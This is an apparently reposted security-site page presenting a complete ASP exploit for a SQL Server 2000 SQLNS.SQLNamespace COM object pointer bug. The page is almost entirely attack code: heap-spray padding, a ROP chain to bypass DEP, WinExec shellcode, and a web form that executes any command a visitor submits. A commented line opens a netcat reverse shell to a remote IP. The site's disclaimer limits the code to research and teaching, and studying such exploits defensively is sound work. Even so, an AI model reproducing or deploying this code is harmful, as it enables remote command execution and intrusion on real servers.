MS SQL Server 2000/2005 SQLNS.SQLNamespace COM Object Refresh() Unhandled Pointer Exploit

没穿底裤
没穿底裤
没穿底裤
714
文章
0
评论
2020年1月1日03:42:51评论390 views字数 3484阅读11分36秒阅读模式
摘要

详情参见
https://www.exploit-db.com/docs/38033.pdf

详情参见
https://www.exploit-db.com/docs/38033.pdf

<% Function Padding(intLen)  Dim strRet, intSize  intSize = intLen/2 - 1  For I = 0 To intSize Step 1   strRet = strRet & unescape("%u4141")  Next  Padding = strRet End Function  Function PackDWORD(strPoint)  strTmp = replace(strPoint, "0x", "")  PackDWORD = PackDWORD & UnEscape("%u" & Mid(strTmp, 5, 2) & Mid(strTmp, 7, 2))  PackDWORD = PackDWORD & UnEscape("%u" & Mid(strTmp, 1, 2) & Mid(strTmp, 3, 2)) End Function  Function PackList(arrList)  For Each Item In arrList   PackList = PackList & PackDWORD(Item)  Next End Function  Function PackShellcode(strCode)  intLen = Len(strCode) / 4  If intLen Mod 2 = 1 Then   strCode = strCode & "/x90"   intLen = intLen + 1  End If  arrTmp = Split(strCode, "/x")  For I = 1 To UBound(arrTmp) Step 2   PackShellcode = PackShellcode & UnEscape("%u" & arrTmp(I + 1) & arrTmp(I))  Next End Function  Function UnicodeToAscii(uStrIn)  intLen = Len(strCommand)  If intLen Mod 2 = 1 Then   For I = 1 To intLen - 1 Step 2    UnicodeToAscii = UnicodeToAscii & "%u" & Hex(Asc(Mid(strCommand, I + 1, 1))) & Hex(Asc(Mid(strCommand, I, 1)))   Next   UnicodeToAscii = UnicodeToAscii & "%u00" & Hex(Asc(Mid(strCommand, I, 1)))  Else   For I = 1 To intLen - 1 Step 2    UnicodeToAscii = UnicodeToAscii & "%u" & Hex(Asc(Mid(strCommand, I + 1, 1))) & Hex(Asc(Mid(strCommand, I, 1)))   Next  End If  UnicodeToAscii = UnEscape(UnicodeToAscii & "%u0000%u0000") End Function  '''''''''''''''''''''''''''''bypass DEP with [msvcr71.dll] 92 bytes Rop_Chain = Array(_ "0x41414141", _ "0x7c373ab6", _ "0x7c3425bc", _ "0x7c376fc5", _ "0x7c343423", _ "0x7c3415a2", _ "0x7c373ab6", _ "0x41414141", _ "0x41414141", _ "0x41414141", _ "0x41414141", _ "0x7c344dbe", _ "0x7c376fc5", _ "0x7c373ab6", _ "0x7c373ab6", _ "0x7c351cc5", _ "0x7c3912a3", _ "0x7c3427e5", _ "0x7c346c0b", _ "0x7c3590be", _ "0x7c37a151", _ "0x7c378c81", _ "0x7c345c30"  _ ) Small_Shellcode = "/x64/x8B/x25/x00/x00/x00/x00/xeb/x07/x90/x90/x90" '0C0C0C6C   64:8B25 00000000          MOV ESP,DWORD PTR FS:[0] '0C0C0C73   EB 07                     JMP SHORT 0C0C0C7C '0C0C0C75   90                        NOP '0C0C0C76   90                        NOP '0C0C0C77   90                        NOP '12 bytes Fix_ESP = "/x83/xEC/x24/x8B/xEC/x83/xC5/x30" '0C0C0C7C   83EC 24                   SUB ESP,24 '0C0C0C7F   8BEC                      MOV EBP,ESP '0C0C0C81   83C5 30                   ADD EBP,30 '8 bytes '''''''''''''''''''''''''''''shellcode WinExec (win2k sp2) Real_Shellcode = "/xd9/xee/x9b/xd9/x74/x24/xf4/x5e/x83/xc6/x1a/x33/xc0/x50/x56/x68/x41/x41/x41/x41/x68/x16/x41/x86/x7c/xc3" 'D9EE            FLDZ '9B              WAIT 'D97424 F4       FSTENV (28-BYTE) PTR SS:[ESP-C] '5E              POP ESI '83C6 1a                   ADD ESI,1a '33C0                      XOR EAX,EAX '50                        PUSH EAX '56                        PUSH ESI '68 F1F8807C               PUSH kernel32.ExitThread '68 1641867C               PUSH kernel32.WinExec 'C3                        RETN '''''''''''''''''''''''''''''main Dim strCmd  strCmd = Request("cmd") strCommand = "cmd.exe /q /c " & strCmd 'strCommand = "C:/Inetpub/wwwroot/nc.exe -e cmd.exe 192.168.194.1 8080"  strOpcode = PackShellcode(Real_Shellcode) & UnicodeToAscii(strCommand) intOpcode = Len(strOpcode)  Payload = String((1000/2), UnEscape("%u4141")) & PackDWORD("0x0c0c0c0c") & PackList(Rop_Chain) & PackShellcode(Small_Shellcode) & PackDWORD("0x5a64f0fe") &_ PackShellcode(Fix_ESP) & strOpcode &_ Padding(928 - intOpcode*2) 'Response.Write Len(Payload) Dim Block For N = 1 to 512  Block = Block & Payload Next Dim spary() For I = 0 To 200 Step 1  Redim Preserve spary(I)  spary(I) = Block Next  If strCmd = "" Then  Response.Write "Please Input command! <br />" Else  Set obj = CreateObject("SQLNS.SQLNamespace")  Response.Write "Try to Execute: " & strCommand  arg1 = 202116108 '0x0c0c0c0c  obj.Refresh arg1 End If %> <html><head><title>Microsoft SQL Server 2000 SP4 SQLNS.SQLNamespace COM object Refresh() Pointer Error Exploit(DEP bypass)</title> <body> <p> Microsoft SQL Server 2000 SP4 SQLNS.SQLNamespace COM object Refresh() Pointer Error Exploit(DEP bypass) <br /> Other version not test :) <br /> Bug found and Exploit by [email protected] At 2012/04/03<br /> </P>  <form action="" method="post"> Program to Execute:<input type="text" value="<%=strCmd%>"size=120 name="cmd"></input><input type="submit" value="Exploit"> </form> </form>

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日03:42:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   MS SQL Server 2000/2005 SQLNS.SQLNamespace COM Object Refresh() Unhandled Pointer Exploithttps://cn-sec.com/archives/76456.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息